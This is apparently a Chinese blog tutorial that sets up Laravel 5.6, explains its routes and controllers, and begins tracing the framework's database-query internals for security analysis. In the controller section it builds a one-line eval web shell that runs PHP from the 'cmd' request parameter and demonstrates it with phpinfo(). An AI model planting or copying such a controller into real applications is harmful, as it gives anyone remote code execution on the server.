返回
顶部

前言

参考文章:

环境搭建

使用composer安装laravel,注意在安装composer时选择php可执行文件时尽量选择高版本php,因为低版本可能不支持laravel 5.6版本

配置国内源:

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

在apache的网站根目录创建一个laravel文件夹,在该目录下执行composer create-project laravel/laravel=5.6.*即可启动安装

1596305503175

laravle安装完成后我们需要配置一下虚拟主机

<VirtualHost *:80>
     ServerName laravelht.vn
     DocumentRoot  C:/phpStudy/PHPTutorial/WWW/laravel/laravel/public
     SetEnv APPLICATION_ENV "development"
     <Directory C:/phpStudy/PHPTutorial/WWW/laravel/laravel/public>
         DirectoryIndex index.php
         AllowOverride All
         Require all granted
         Order allow,deny
         Allow from all
     </Directory>
 </VirtualHost>

注意上面的虚拟主机配置文件的根目录是laravel/public,这样可以避免laravel框架的其他文件暴露在网络中

1596168131865

至此,环境搭建完毕

了解laravel

laravel是典型的MVC框架

路由与控制器

打开routes目录下的web.php,可以看到如下内容:

<?php

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

Route::get('/', function () {
    return view('welcome');
});

可以看到访问网站根目录会返回welcome视图,该视图的文件位于:resources/views/welcome.blade.php

我们可以自己新增一个路由:

Route::get('/webshell', function () {
    return "this is a webshell";
});

1596168947497

上面是路由相关的一些东西,下面我们再介绍一下控制器相关的知识

在laravel目录下有一个artisan的文件,它可以帮助我们完成一些工作,它可以帮助我们生成控制器、操作数据库,我们可以使用如下命令生成一个控制器:

php artisan make:controller CommentController

1596215366724

执行完这条命令之后就会在app/Http/Controllers目录下生成一个CommentController控制器,文件绝对路径为C:\phpStudy\PHPTutorial\WWW\laravel\laravel\app\Http\Controllers\CommentController.php

内容如下:

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class CommentController extends Controller
{
    //
}

现在我们在CommentController控制器中编写一个index方法,内容如下:

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class CommentController extends Controller
{
    public function index() {
        @eval(request()->input('cmd'));
    }
}

然后我们要在路由(web.php)中去调用这个控制器中的方法:

Route::any("index","CommentController@index");

其中,any指所有请求方法,我们也可以单独指定为get、post等请求方式

现在我们访问http://laravelht.vn/index?cmd=phpinfo();结果如下:

1596216063995

另外这个地方由于laravel防CSRF攻击的策略导致无法直接发送POST请求:

1596216209698

laravel数据库操作内核分析

在项目文件夹下的.env文件中进行数据库的配置:

1596216327272

新建一个控制器进行数据库的连接测试

C:\phpStudy\PHPTutorial\php\php-7.2.1-nts\php artisan make:controller UserController

内容如下:

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use DB;

class UserController extends Controller
{
    public function index(Request $request) {
        $id = $request->input("id");
        $data = DB::table("users")->where("id", $id)->get();
        dump($data);
    }
}

注册路由:

Route::any("db/index","UserController@index");

测试是否能够正常返回数据

1596217203985

这个时候我们就可以通过下断点来进入laravel的数据库处理操作的内部代码了,在下面这两个地方下断点:

1596219757579